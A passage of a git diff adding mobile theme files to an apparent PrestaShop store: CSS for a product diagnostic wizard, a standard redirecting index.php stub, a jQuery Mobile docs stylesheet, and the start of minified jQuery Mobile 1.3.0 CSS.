display: block; + height: 20px; + width: 20px; + position: absolute; + z-index: 1; + top: -9px; + left: 0; + right: 0; + margin: 0 auto; + } + .profil-finish .profil-description p{ + width: 80%; + margin: 0 auto; + } + .profil-finish .profil-complement{ + margin-top: 30px; + margin-bottom: 30px; + } + +.profil-finish .profil-product-list .product-list-item, +.profil-finish .profil-complement-list .complement-list-item{ + width: 45%; + height: auto; + display: inline-block; + position: relative; + cursor: pointer; + margin-right: 20px; +} +.profil-finish .profil-product-list .product-list-item:nth-child(2n), +.profil-finish .profil-complement-list .complement-list-item:nth-child(2n), +.profil-finish .profil-product-list .product-list-item:last-child, +.profil-finish .profil-complement-list .complement-list-item:last-child{ + margin-right: 0; +} + .profil-product-list, + .profil-complement-list{ + padding: 0; + } + .product-list-item a.product_img_link, + .complement-list-item a.product_img_link{ + display: block; + height: calc(100% - 45px); + } + .product-list-item a.product_img_link img, + .complement-list-item a.product_img_link img{ + height: 100%; + } + .product-list-item .descr, + .complement-list-item .descr{ + display: none; + position: absolute; + z-index: 1; + top: 0; + left: 0; + bottom: 45px; + background-color: rgba(229,229,229,0.75); + padding: 0px 20px 0 20px; + font-weight: 600; + overflow-y: auto; + + } + .product-list-item:hover .descr, + .complement-list-item:hover .descr{ + display: block; + } + .product-list-item .descr .product-desc, + .complement-list-item .descr .product-desc{ + line-height: 15px; + } + .product-list-item .descr p a, + .complement-list-item .descr p a{ + text-decoration: underline; + } + .product-list-item .checkbox-choice, + .complement-list-item .checkbox-choice{ + background: url('../../img/diag-checkbox.png') no-repeat center #ccdb52; + height: 45px; + } + .product-list-item .checkbox-choice.checked, + .complement-list-item .checkbox-choice.checked{ + background: url('../../img/diag-checkbox-checked.png') no-repeat center #ccdb52; + } +.profil-finish p.profil-finish{ + text-align: center; +} + .profil-finish p.profil-finish a.ui-link.button{ + background: #ccdb52; + border: none; + padding: 10px 15px; + width: auto; + margin: 0 auto 20px auto; + display: inline-block; + } +.profil-finish .div-boxPartage{ + text-align: center; +} + .profil-finish .boxPartage{ + border: 2px solid #B9DA1A; + display: block; + width: 100%; + margin-bottom: 20px; + padding: 20px 0px; + } + .profil-finish .boxPartage.item1{ + padding-top: 70px; + background: url('../img/imprimerDiag.png') no-repeat center 17px; + } + .profil-finish .boxPartage.item2{ + padding-top: 55px; + background: url('../../img/mailDiag.png') no-repeat center 17px; + } + .profil-finish .boxPartage a.ui-link, + .profil-finish .boxPartage p.uppercase{ + font-size: 18px; + text-transform: uppercase; + } + .profil-finish .boxPartage.item3 p.uppercase{ + padding:0; + margin-top: 20px; + } + +.etape0{ + width: 70%; + margin:0 auto; + +} + .etape0 img, + .etape0 div.description{ + display: block; + margin:0 auto; + } + .etape0 div.description{ + width: 100%; + text-align: center; + margin-top: 20px; + } + .etape0 .description p{ + padding: 0 0 20px; + line-height: 24px; + font-size: 20px; + text-align: center; + } + .etape0 .description a.button{ + font-size: 20px; + line-height: 45px; + text-transform: uppercase; + background-position: right center; + font-family: Times New Roman; + display: inline-block; + float: none; + margin-top: 15px; + background:#ccdb52; + width: auto; + height: auto; + padding: 0 20px; + } + +.diagnosticMiniStep { + text-align: center; + margin: 0 0 20px; + padding:0;; +} + .diagnosticMiniStep li { + display: inline; + } + +ul.diagnosticSteps{ + text-align: center; + padding: 0; +} + ul.diagnosticSteps li{ + display: inline-block; + background-color: #EEE; + line-height: 41px; + font-size: 14px; + text-transform: uppercase; + padding: 0 10px 0 20px; + position: relative; + margin-left: -3px; + text-indent: -9999px; + + } + ul.diagnosticSteps li:before{ + content: ""; + border: 15px solid rgba(0, 0, 0, 0); + border-top: 21px solid rgba(0, 0, 0, 0); + border-bottom: 21px solid rgba(0, 0, 0, 0); + border-right: 21px solid rgba(0, 0, 0, 0); + border-left-color: #EEE; + position: absolute; + top: 0; + right: -35px; + z-index: 2; + } + ul.diagnosticSteps li:after{ + position: absolute; + content: ""; + border: 15px solid rgba(0, 0, 0, 0); + border-bottom: 21px solid rgba(0, 0, 0, 0); + border-top: 21px solid rgba(0, 0, 0, 0); + border-right: 21px solid rgba(0, 0, 0, 0); + border-left-color: #fff; + top: 0; + right: -37px; + z-index: 1; + + } + + ul.diagnosticSteps li.selected{ + background-color:#B9DA1A ; + text-indent: 0; + width: calc(100% - 5 * 70px); + padding: 0; + } + ul.diagnosticSteps li.selected:before{ + border-left-color: #B9DA1A; + } + ul.diagnosticSteps li:last-child:after, + ul.diagnosticSteps li:last-child:before{ + display: none; + } + ul.diagnosticSteps li a{ + font-family: Times New Roman; + display: block; + text-decoration: none; + font-size: 15px; + width: 30px; + } + ul.diagnosticSteps li.selected a{ + width: 100%; + } + +form.diag{ + width: 80%; + margin:40px auto; +} + form.diag p.titre { + padding: 0 0 20px 24px; + background: url('../../img/diagFleche.png') no-repeat 0 0; + font-size: 16px; + font-weight: bold; + line-height: 20px; + margin-top: 20px; + } + form.diag p.submit{ + margin-top: 20px; + } + form.diag p.submit input, + form.diag p.submit a.button.back{ + float: right; + font-size: 20px; + font-family: Times New Roman; + border-radius: 0; + border: 0; + padding: 10px; + background:#B9DA1A ; + } + form.diag p.submit a.button.back{ + float: left; + line-height: initial; + height: auto; + + } + form.diag p.erreur, + form.diag p.erreur label { + color: #F00; + } + + form.diag p.radio label{ + margin: 0 15px 0 10px; + cursor: pointer; + } + form.diag .radio label.ui-btn{ + float: left; + width: auto; + } + +#recevoirparmail .inputNew{ + font-size: 20px; + float: none; +} +#recevoirparmail form .ui-input-text{ + display: inline-block; + float: none; + font-size: 20px; +} + #recevoirparmail p.block_content-info{ + font-size: 24px; + } +#recevoirparmail .ui-btn-inner{ + font-size: 25px; +} + +#fancybox-content { + margin: 0 auto; +} +body #languages_block_top ul.countries_ul li a img { + width: 25px; + height: 18px; +} +body .new_comment_form_content .text, body .new_comment_form_content .select, body .new_comment_form_content .textarea { + width: 70%; + margin-right: auto; + margin-left: auto; +} +#form_forgotpassword fieldset .ui-submit { + width: 188px; +} + #form_forgotpassword fieldset .ui-submit .ui-btn-inner { + width: 166px; + } + +body form .check_mobile { + width: 385px; + height: 50px; + clear: both; + position: relative; + margin-right: auto; + margin-left: auto; +} +body form .check_mobile #check_label { + width: 100%; + float: none; + background: none; + border: 0px; +} +/*** ticket garancia pages diagnostic ****/ +.diagnosticSteps > li.item3 > a { + font-size: 13px; +} +.ui-mobile-viewport form.diag p.submit input, .ui-mobile-viewport form.diag p.submit a.button.back { + -webkit-appearance: none; + border-radius:0; + border-radius: 0; + border: 0; + padding: 10px; + background: #B9DA1A; +} +.product-list-item a.product_img_link img, .complement-list-item a.product_img_link img{ + margin-top:30px; +} + + + + +/************* ticket #9603 ********************************/ +.flex-control-paging li a.flex-active { + background-color: rgb(128, 128, 128); +} +.flex-control-paging li a { + background: rgba(0, 0, 0, 0.2); +} +.flex-direction-nav { + display: none; +} \ No newline at end of file diff --git a/themes/default/mobile/css/index.php b/themes/default/mobile/css/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/default/mobile/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/mobile/css/jqm-docs.css b/themes/default/mobile/css/jqm-docs.css new file mode 100755 index 0000000..6e6a595 --- /dev/null +++ b/themes/default/mobile/css/jqm-docs.css @@ -0,0 +1,288 @@ +/* jqm docs css + +Beware: lots of last-minute CSS going on in here +cobblers, shoes, +*/ + +body {/* background: #dddddd; */} +.ui-mobile .type-home .ui-content { margin: 0;/* background:#e5e5e5;*/} +.ui-mobile #jqm-homeheader { padding: 40px 10px 0; text-align: center; margin: 0 auto; } +.ui-mobile #jqm-homeheader h1 { margin: 0 0 ; } +.ui-mobile #jqm-homeheader p { margin: .3em 0 0; line-height: 1.3; font-size: .9em; font-weight: bold; color: #666; } +.ui-mobile #jqm-version { text-indent: -99999px;width: 119px; height: 122px; overflow: hidden; position: absolute; z-index: 50; top: -11px; right: 0; } +.ui-mobile .jqm-themeswitcher { margin: 10px 25px 10px 10px; } + +h2 { margin:1.2em 0 .4em 0; } +p code { font-size:1.2em; font-weight:bold; } + +dt { font-weight: bold; margin: 2em 0 .5em; } +dt code, dd code { font-size:1.3em; line-height:150%; } +pre { white-space: pre; white-space: pre-wrap; word-wrap: break-word; } + +#jqm-homeheader img { width: 235px; } +img { max-width: 100%; } + +.ui-header .jqm-home { top:0.65em; } +nav { margin: 0; } + +p.intro { + font-size: .96em; + line-height: 1.3; + border-top: 1px solid #75ae18; + border-bottom: 0; + background: none; + margin: 1.5em 0; + padding: 1.5em 15px 0; + +} +p.intro strong { + color: #558e08; +} +.footer-docs { + padding: 5px 0; +} +.footer-docs p { + float: left; + margin-left:15px; + font-weight: normal; + font-size: .9em; +} + +.type-interior .content-secondary { + border-right: 0; + border-left: 0; + margin: 10px -15px 0; + background: #fff; + border-top: 1px solid #ccc; +} +.type-home .ui-content { + margin-top: 5px; +} +.type-interior .ui-content { + padding-bottom: 0; +} +.content-secondary .ui-collapsible { + padding: 0 15px 10px; + +} +.content-secondary .ui-collapsible-content { + padding: 0; + background: none; + border-bottom: none; +} +.content-secondary .ui-listview { + margin: 0; +} +/* new API additions */ + +dt { + margin: 35px 0 15px 0; + background-color:#ddd; + font-weight:normal; +} +dt code { + display:inline-block; + font-weight:bold; + color:#56A00E; + padding:3px 7px; + margin-right:10px; + background-color:#fff; +} +dd { + margin-bottom:10px; +} +dd .default { font-weight:bold; } +dd pre { + margin:0 0 0 0; +} +dd code { font-weight: normal; } +dd pre code { + margin:0; + border:none; + font-weight:normal; + font-size:100%; + background-color:transparent; +} +dd h4 { margin:15px 0 0 0; } + +.localnav { + margin:0 0 20px 0; + overflow:hidden; +} +.localnav li { + float:left; +} +.localnav .ui-btn-inner { + padding: .6em 10px; + font-size:80%; +} + + +/* F bar theme - just for the docs overview headers */ +.ui-bar-f { + border: 1px solid #56A00E; + background: #74b042; + color: #fff; + font-weight: bold; + text-shadow: 0 -1px 1px #234403; + background-image: -webkit-gradient(linear, left top, left bottom, from(#74b042), to(#56A00E)); /* Saf4+, Chrome */ + background-image: -webkit-linear-gradient(top, #74b042, #56A00E); /* Chrome 10+, Saf5.1+ */ + background-image: -moz-linear-gradient(top, #74b042, #56A00E); /* FF3.6 */ + background-image: -ms-linear-gradient(top, #74b042, #56A00E); /* IE10 */ + background-image: -o-linear-gradient(top, #74b042, #56A00E); /* Opera 11.10+ */ + background-image: linear-gradient(top, #74b042, #56A00E); +} +.ui-bar-f, +.ui-bar-f .ui-link-inherit { + color:#fff; +} +.ui-bar-f .ui-link { + color:#fff; + font-weight: bold; +} + + + + +/* docs site layout */ + +@media all and (min-width: 650px){ + + .jqm-home { + position: absolute; + left: 10px; + top: 0; + } + .type-home .ui-content { + margin-top: 5px; + } + .ui-mobile #jqm-homeheader { + max-width: 340px; + } + .ui-mobile .jqm-themeswitcher { + float: right; + } + p.intro { + margin: 2em 0; + } + .type-home .ui-content, + .type-interior .ui-content { + padding: 0; + background: url(../img/px-ccc.gif) 50% 0 repeat-y; + } + .type-interior .ui-content { + background-position: 45%; + overflow: hidden; + } + .content-secondary { + text-align: left; + float: left; + width: 45%; + background: none; + } + .content-secondary, + .type-interior .content-secondary { + margin: 30px 0 20px 2%; + padding: 20px 4% 0 0; + background: none; + border-top: none; + } + .type-index .content-secondary { + padding: 0; + } + .content-secondary .ui-collapsible { + margin: 0; + padding: 0; + } + .content-secondary .ui-collapsible-content { + border: none; + } + .type-index .content-secondary .ui-listview { + margin: 0; + } + + .ui-mobile #jqm-homeheader { + padding: 0; + } + .content-primary { + width: 45%; + float: right; + margin-top: 30px; + margin-right: 1%; + padding-right: 1%; + } + .content-primary ul:first-child { + margin-top: 0; + } + .content-secondary h2 { + position: absolute; + left: -9999px; + } + .type-interior .content-primary { + padding: 1.5em 6% 3em 0; + margin: 0; + } + /* fix up the collapsibles - expanded on desktop */ + .content-secondary .ui-collapsible-heading { + display: none; + } + .content-secondary .ui-collapsible-contain { + margin:0; + } + .content-secondary .ui-collapsible-content { + display: block; + margin: 0; + padding: 0; + } + .type-interior .content-secondary .ui-li-divider { + padding-top: 1em; + padding-bottom: 1em; + } + .type-interior .content-secondary { + margin: 0; + padding: 0; + } + +} +@media all and (min-width: 750px){ + .type-home .ui-content, + .type-interior .ui-content { + background-position: 39%; + } + .content-secondary { + width: 34%; + } + .content-primary { + width: 56%; + padding-right: 1%; + } + .type-interior .ui-content { + background-position: 34%; + } +} + +@media all and (min-width: 1200px){ + .type-home .ui-content{ + background-position: 38.5%; + } + .type-interior .ui-content { + background-position: 30%; + } + .content-secondary { + width: 30%; + padding-right:6%; + margin: 30px 0 20px 5%; + } + .type-interior .content-secondary { + margin: 0; + padding: 0; + } + .content-primary { + width: 50%; + margin-right: 5%; + padding-right: 3%; + } + .type-interior .content-primary { + width: 60%; + } +} \ No newline at end of file diff --git a/themes/default/mobile/css/jquery.mobile-1.3.0.min.css b/themes/default/mobile/css/jquery.mobile-1.3.0.min.css new file mode 100755 index 0000000..3ba45e1 --- /dev/null +++ b/themes/default/mobile/css/jquery.mobile-1.3.0.min.css @@ -0,0 +1,13 @@ +/*! jQuery Mobile vGit Build: SHA1: 3d48d6517f808550ee402a2859feedec13b0a3fe <> Date: Tue Feb 19 15:25:22 2013 -0800 jquerymobile.com | jquery.org/license !*/ +body{font-size:14px;}.ui-bar-a{color:#fff;/*background-image:-webkit-gradient(linear,left top,left bottom,from( #3c3c3c ),to( #111 ));background-image:-webkit-linear-gradient( #3c3c3c,#111 );background-image:-moz-linear-gradient( #3c3c3c,#111 );background-image:-ms-linear-gradient( #3c3c3c,#111 );background-image:-o-linear-gradient( #3c3c3c,#111 );background-image:linear-gradient( #3c3c3c,#111 )*/}.ui-bar-a,.ui-bar-a input,.ui-bar-a select,.ui-bar-a textarea,.ui-bar-a button{font-family:Arial,Helvetica,sans-serif}.ui-bar-a .ui-link-inherit{color:#fff}.ui-bar-a a.ui-link{color:#fafafa;}.ui-bar-a a.ui-link:visited{color:#000000}.ui-bar-a a.ui-link:hover{color:#000000}.ui-bar-a a.ui-link:active{color:#000000}.ui-body-a,.ui-overlay-a{border:1px solid #444;background:#222;color:#fff;font-weight:normal;background-image:-webkit-gradient(linear,left top,left bottom,from( #444 ),to( #222 ));background-image:-webkit-linear-gradient( #444,#222 );background-image:-moz-linear-gradient( #444,#222 );background-image:-ms-linear-gradient( #444,#222 );background-image:-o-linear-gradient( #444,#222 );background-image:linear-gradient( #444,#222 )}.ui-overlay-a{background-image:none;border-width:0}.ui-body-a,.ui-body-a input,.ui-body-a select,.ui-body-a textarea,.ui-body-a button{font-family:Arial,Helvetica,sans-serif}.ui-body-a .ui-link-inherit{color:#fff}.ui-body-a .ui-link{color:#000000;font-weight:bold}.ui-body-a .ui-link:visited{color:#000000}.ui-body-a .ui-link:hover{color:#000000}.ui-body-a .ui-link:active{color:#000000}.ui-btn-up-a{border:1px solid #111;background:#333;font-weight:bold;color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #444 ),to( #2d2d2d ));background-image:-webkit-linear-gradient( #444,#2d2d2d );background-image:-moz-linear-gradient( #444,#2d2d2d );background-image:-ms-linear-gradient( #444,#2d2d2d );background-image:-o-linear-gradient( #444,#2d2d2d );background-image:linear-gradient( #444,#2d2d2d )}.ui-btn-up-a:visited,.ui-btn-up-a a.ui-link-inherit{color:#fff}.ui-btn-hover-a{border:1px solid #000;background:#444;font-weight:bold;color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #555 ),to( #383838 ));background-image:-webkit-linear-gradient( #555,#383838 );background-image:-moz-linear-gradient( #555,#383838 );background-image:-ms-linear-gradient( #555,#383838 );background-image:-o-linear-gradient( #555,#383838 );background-image:linear-gradient( #555,#383838 )}.ui-btn-hover-a:visited,.ui-btn-hover-a:hover,.ui-btn-hover-a a.ui-link-inherit{color:#fff}.ui-btn-down-a{border:1px solid #000;background:#222;font-weight:bold;color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #202020 ),to( #2c2c2c ));background-image:-webkit-linear-gradient( #202020,#2c2c2c );background-image:-moz-linear-gradient( #202020,#2c2c2c );background-image:-ms-linear-gradient( #202020,#2c2c2c );background-image:-o-linear-gradient( #202020,#2c2c2c );background-image:linear-gradient( #202020,#2c2c2c )}.ui-btn-down-a:visited,.ui-btn-down-a:hover,.ui-btn-down-a a.ui-link-inherit{color:#fff}.ui-btn-up-a,.ui-btn-hover-a,.ui-btn-down-a{font-family:Arial,Helvetica,sans-serif;text-decoration:none}.ui-bar-b{border:1px solid #456f9a;background:#5e87b0;color:#fff;font-weight:bold;background-image:-webkit-gradient(linear,left top,left bottom,from( #6facd5 ),to( #497bae ));background-image:-webkit-linear-gradient( #6facd5,#497bae );background-image:-moz-linear-gradient( #6facd5,#497bae );background-image:-ms-linear-gradient( #6facd5,#497bae );background-image:-o-linear-gradient( #6facd5,#497bae );background-image:linear-gradient( #6facd5,#497bae )}.ui-bar-b,.ui-bar-b input,.ui-bar-b select,.ui-bar-b textarea,.ui-bar-b button{font-family:Arial,Helvetica,sans-serif}.ui-bar-b .ui-link-inherit{color:#fff}.ui-bar-b a.ui-link{color:#ddf0f8;font-weight:bold}.ui-bar-b a.ui-link:visited{color:#ddf0f8}.ui-bar-b a.ui-link:hover{color:#ddf0f8}.ui-bar-b a.ui-link:active{color:#ddf0f8}.ui-body-b,.ui-overlay-b{border:1px solid #999;background:#f3f3f3;color:#222;font-weight:normal;background-image:-webkit-gradient(linear,left top,left bottom,from( #ddd ),to( #ccc ));background-image:-webkit-linear-gradient( #ddd,#ccc );background-image:-moz-linear-gradient( #ddd,#ccc );background-image:-ms-linear-gradient( #ddd,#ccc );background-image:-o-linear-gradient( #ddd,#ccc );background-image:linear-gradient( #ddd,#ccc )}.ui-overlay-b{background-image:none;border-width:0}.ui-body-b,.ui-body-b input,.ui-body-b select,.ui-body-b textarea,.ui-body-b button{font-family:Arial,Helvetica,sans-serif}.ui-body-b .ui-link-inherit{color:#333}.ui-body-b .ui-link{color:#000000;font-weight:bold}.ui-body-b .ui-link:visited{color:#000000}.ui-body-b .ui-link:hover{color:#000000}.ui-body-b .ui-link:active{color:#000000}.ui-btn-up-b{border:1px solid #044062;background:#396b9e;font-weight:bold;color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #5f9cc5 ),to( #396b9e ));background-image:-webkit-linear-gradient( #5f9cc5,#396b9e );background-image:-moz-linear-gradient( #5f9cc5,#396b9e );background-image:-ms-linear-gradient( #5f9cc5,#396b9e );background-image:-o-linear-gradient( #5f9cc5,#396b9e );background-image:linear-gradient( #5f9cc5,#396b9e )}.ui-btn-up-b:visited,.ui-btn-up-b a.ui-link-inherit{color:#fff}.ui-btn-hover-b{border:1px solid #00415e;background:#4b88b6;font-weight:bold;color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #6facd5 ),to( #4272a4 ));background-image:-webkit-linear-gradient( #6facd5,#4272a4 );background-image:-moz-linear-gradient( #6facd5,#4272a4 );background-image:-ms-linear-gradient( #6facd5,#4272a4 );background-image:-o-linear-gradient( #6facd5,#4272a4 );background-image:linear-gradient( #6facd5,#4272a4 )}.ui-btn-hover-b:visited,.ui-btn-hover-b:hover,.ui-btn-hover-b a.ui-link-inherit{color:#fff}.ui-btn-down-b{border:1px solid #225377;background:#4e89c5;font-weight:bold;color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #295b8e ),to( #3e79b5 ));background-image:-webkit-linear-gradient( #295b8e,#3e79b5 );background-image:-moz-linear-gradient( #295b8e,#3e79b5 );background-image:-ms-linear-gradient( #295b8e,#3e79b5 );background-image:-o-linear-gradient( #295b8e,#3e79b5 );background-image:linear-gradient( #295b8e,#3e79b5 )}.ui-btn-down-b:visited,.ui-btn-down-b:hover,.ui-btn-down-b a.ui-link-inherit{color:#fff}.ui-btn-up-b,.ui-btn-hover-b,.ui-btn-down-b{font-family:Arial,Helvetica,sans-serif;text-decoration:none}.ui-bar-c{border:1px solid #b3b3b3;background:#eee;color:#3e3e3e;font-weight:bold;background-image:-webkit-gradient(linear,left top,left bottom,from( #f0f0f0 ),to( #ddd ));background-image:-webkit-linear-gradient( #f0f0f0,#ddd );background-image:-moz-linear-gradient( #f0f0f0,#ddd );background-image:-ms-linear-gradient( #f0f0f0,#ddd );background-image:-o-linear-gradient( #f0f0f0,#ddd );background-image:linear-gradient( #f0f0f0,#ddd )}.ui-bar-c .ui-link-inherit{color:#3e3e3e}.ui-bar-c a.ui-link{color:#7cc4e7;font-weight:bold}.ui-bar-c a.ui-link:visited{color:#000000}.ui-bar-c a.ui-link:hover{color:#000000}.ui-bar-c a.ui-link:active{color:#000000}.ui-bar-c,.ui-bar-c input,.ui-bar-c select,.ui-bar-c textarea,.ui-bar-c button{font-family:Arial,Helvetica,sans-serif}.ui-body-c,.ui-overlay-c{color:#ffffff;/*border:1px solid #aaa;color:#333;background:#f9f9f9;background-image:-webkit-gradient(linear,left top,left bottom,from( #f9f9f9 ),to( #eee ));background-image:-webkit-linear-gradient( #f9f9f9,#eee );background-image:-moz-linear-gradient( #f9f9f9,#eee );background-image:-ms-linear-gradient( #f9f9f9,#eee );background-image:-o-linear-gradient( #f9f9f9,#eee );background-image:linear-gradient( #f9f9f9,#eee )*/}.ui-overlay-c{background-image:none;border-width:0}.ui-body-c,.ui-body-c input,.ui-body-c select,.ui-body-c textarea,.ui-body-c button{font-family:Arial,Helvetica,sans-serif}.ui-body-c .ui-link-inherit{color:#333}.ui-body-c .ui-link{color:#000000;}.ui-body-c .ui-link:visited{color:#000000}.ui-body-c .ui-link:hover{color:#000000}.ui-body-c .ui-link:active{color:#000000}.ui-btn-up-c{border:1px solid #ccc;background:#eee;font-weight:bold;color:#222;background-image:-webkit-gradient(linear,left top,left bottom,from( #fff ),to( #f1f1f1 ));background-image:-webkit-linear-gradient( #fff,#f1f1f1 );background-image:-moz-linear-gradient( #fff,#f1f1f1 );background-image:-ms-linear-gradient( #fff,#f1f1f1 );background-image:-o-linear-gradient( #fff,#f1f1f1 );background-image:linear-gradient( #fff,#f1f1f1 )}.ui-btn-up-c:visited,.ui-btn-up-c a.ui-link-inherit{color:#2f3e46}.ui-btn-hover-c{border:1px solid #bbb;background:#dfdfdf;font-weight:bold;color:#222;background-image:-webkit-gradient(linear,left top,left bottom,from( #f6f6f6 ),to( #e0e0e0 ));background-image:-webkit-linear-gradient( #f6f6f6,#e0e0e0 );background-image:-moz-linear-gradient( #f6f6f6,#e0e0e0 );background-image:-ms-linear-gradient( #f6f6f6,#e0e0e0 );background-image:-o-linear-gradient( #f6f6f6,#e0e0e0 );background-image:linear-gradient( #f6f6f6,#e0e0e0 )}.ui-btn-hover-c:visited,.ui-btn-hover-c:hover,.ui-btn-hover-c a.ui-link-inherit{color:#2f3e46}.ui-btn-down-c{border:1px solid #bbb;background:#d6d6d6;font-weight:bold;color:#222;background-image:-webkit-gradient(linear,left top,left bottom,from( #d0d0d0 ),to( #dfdfdf ));background-image:-webkit-linear-gradient( #d0d0d0,#dfdfdf );background-image:-moz-linear-gradient( #d0d0d0,#dfdfdf );background-image:-ms-linear-gradient( #d0d0d0,#dfdfdf );background-image:-o-linear-gradient( #d0d0d0,#dfdfdf );background-image:linear-gradient( #d0d0d0,#dfdfdf )}.ui-btn-down-c:visited,.ui-btn-down-c:hover,.ui-btn-down-c a.ui-link-inherit{color:#2f3e46}.ui-btn-up-c,.ui-btn-hover-c,.ui-btn-down-c{font-family:Arial,Helvetica,sans-serif;text-decoration:none}.ui-bar-d{border:1px solid #bbb;background:#bbb;color:#333;font-weight:bold;background-image:-webkit-gradient(linear,left top,left bottom,from( #ddd ),to( #bbb ));background-image:-webkit-linear-gradient( #ddd,#bbb );background-image:-moz-linear-gradient( #ddd,#bbb );background-image:-ms-linear-gradient( #ddd,#bbb );background-image:-o-linear-gradient( #ddd,#bbb );background-image:linear-gradient( #ddd,#bbb )}.ui-bar-d,.ui-bar-d input,.ui-bar-d select,.ui-bar-d textarea,.ui-bar-d button{font-family:Arial,Helvetica,sans-serif}.ui-bar-d .ui-link-inherit{color:#333}.ui-bar-d a.ui-link{color:#000000;font-weight:bold}.ui-bar-d a.ui-link:visited{color:#000000}.ui-bar-d a.ui-link:hover{color:#000000}.ui-bar-d a.ui-link:active{color:#000000}.ui-body-d,.ui-overlay-d{border:1px solid #bbb;color:#333;background:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #fff ),to( #fff ));background-image:-webkit-linear-gradient( #fff,#fff );background-image:-moz-linear-gradient( #fff,#fff );background-image:-ms-linear-gradient( #fff,#fff );background-image:-o-linear-gradient( #fff,#fff );background-image:linear-gradient( #fff,#fff )}.ui-overlay-d{background-image:none;border-width:0}.ui-body-d,.ui-body-d input,.ui-body-d select,.ui-body-d textarea,.ui-body-d button{font-family:Arial,Helvetica,sans-serif}.ui-body-d .ui-link-inherit{color:#333}.ui-body-d .ui-link{color:#000000;font-weight:bold}.ui-body-d .ui-link:visited{color:#000000}.ui-body-d .ui-link:hover{color:#000000}.ui-body-d .ui-link:active{color:#000000}.ui-btn-up-d{border:1px solid #bbb;background:#fff;font-weight:bold;color:#333;background-image:-webkit-gradient(linear,left top,left bottom,from( #fafafa ),to( #f6f6f6 ));background-image:-webkit-linear-gradient( #fafafa,#f6f6f6 );background-image:-moz-linear-gradient( #fafafa,#f6f6f6 );background-image:-ms-linear-gradient( #fafafa,#f6f6f6 );background-image:-o-linear-gradient( #fafafa,#f6f6f6 );background-image:linear-gradient( #fafafa,#f6f6f6 )}.ui-btn-up-d:visited,.ui-btn-up-d a.ui-link-inherit{color:#333}.ui-btn-hover-d{border:1px solid #aaa;background:#eee;font-weight:bold;color:#333;cursor:pointer;background-image:-webkit-gradient(linear,left top,left bottom,from( #eee ),to( #fff ));background-image:-webkit-linear-gradient( #eee,#fff );background-image:-moz-linear-gradient( #eee,#fff );background-image:-ms-linear-gradient( #eee,#fff );background-image:-o-linear-gradient( #eee,#fff );background-image:linear-gradient( #eee,#fff )}.ui-btn-hover-d:visited,.ui-btn-hover-d:hover,.ui-btn-hover-d a.ui-link-inherit{color:#333}.ui-btn-down-d{border:1px solid #aaa;background:#eee;font-weight:bold;color:#333;background-image:-webkit-gradient(linear,left top,left bottom,from( #e5e5e5 ),to( #f2f2f2 ));background-image:-webkit-linear-gradient( #e5e5e5,#f2f2f2 );background-image:-moz-linear-gradient( #e5e5e5,#f2f2f2 );background-image:-ms-linear-gradient( #e5e5e5,#f2f2f2 );background-image:-o-linear-gradient( #e5e5e5,#f2f2f2 );background-image:linear-gradient( #e5e5e5,#f2f2f2 )}.ui-btn-down-d:visited,.ui-btn-down-d:hover,.ui-btn-down-d a.ui-link-inherit{color:#333}.ui-btn-up-d,.ui-btn-hover-d,.ui-btn-down-d{font-family:Arial,Helvetica,sans-serif;text-decoration:none}.ui-bar-e{border:1px solid #f7c942;background:#fadb4e;color:#333;font-weight:bold;background-image:-webkit-gradient(linear,left top,left bottom,from( #fceda7 ),to( #fbef7e ));background-image:-webkit-linear-gradient( #fceda7,#fbef7e );background-image:-moz-linear-gradient( #fceda7,#fbef7e );background-image:-ms-linear-gradient( #fceda7,#fbef7e );background-image:-o-linear-gradient( #fceda7,#fbef7e );background-image:linear-gradient( #fceda7,#fbef7e )}.ui-bar-e,.ui-bar-e input,.ui-bar-e select,.ui-bar-e textarea,.ui-bar-e button{font-family:Arial,Helvetica,sans-serif}.ui-bar-e .ui-link-inherit{color:#333}.ui-bar-e a.ui-link{color:#000000;font-weight:bold}.ui-bar-e a.ui-link:visited{color:#000000}.ui-bar-e a.ui-link:hover{color:#000000}.ui-bar-e a.ui-link:active{color:#000000}.ui-body-e,.ui-overlay-e{border:1px solid #f7c942;color:#222;background:#fff9df;background-image:-webkit-gradient(linear,left top,left bottom,from( #fffadf ),to( #fff3a5 ));background-image:-webkit-linear-gradient( #fffadf,#fff3a5 );background-image:-moz-linear-gradient( #fffadf,#fff3a5 );background-image:-ms-linear-gradient( #fffadf,#fff3a5 );background-image:-o-linear-gradient( #fffadf,#fff3a5 );background-image:linear-gradient( #fffadf,#fff3a5 )}.ui-overlay-e{background-image:none;border-width:0}.ui-body-e,.ui-body-e input,.ui-body-e select,.ui-body-e textarea,.ui-body-e button{font-family:Arial,Helvetica,sans-serif}.ui-body-e .ui-link-inherit{color:#222}.ui-body-e .ui-link{color:#000000;font-weight:bold}.ui-body-e .ui-link:visited{color:#000000}.ui-body-e .ui-link:hover{color:#000000}.ui-body-e .ui-link:active{color:#000000}.ui-btn-up-e{border:1px solid #f4c63f;background:#fadb4e;font-weight:bold;color:#222;background-image:-webkit-gradient(linear,left top,left bottom,from( #ffefaa ),to( #ffe155 ));background-image:-webkit-linear-gradient( #ffefaa,#ffe155 );background-image:-moz-linear-gradient( #ffefaa,#ffe155 );background-image:-ms-linear-gradient( #ffefaa,#ffe155 );background-image:-o-linear-gradient( #ffefaa,#ffe155 );background-image:linear-gradient( #ffefaa,#ffe155 )}.ui-btn-up-e:visited,.ui-btn-up-e a.ui-link-inherit{color:#222}.ui-btn-hover-e{border:1px solid #f2c43d;background:#fbe26f;font-weight:bold;color:#111;background-image:-webkit-gradient(linear,left top,left bottom,from( #fff5ba ),to( #fbdd52 ));background-image:-webkit-linear-gradient( 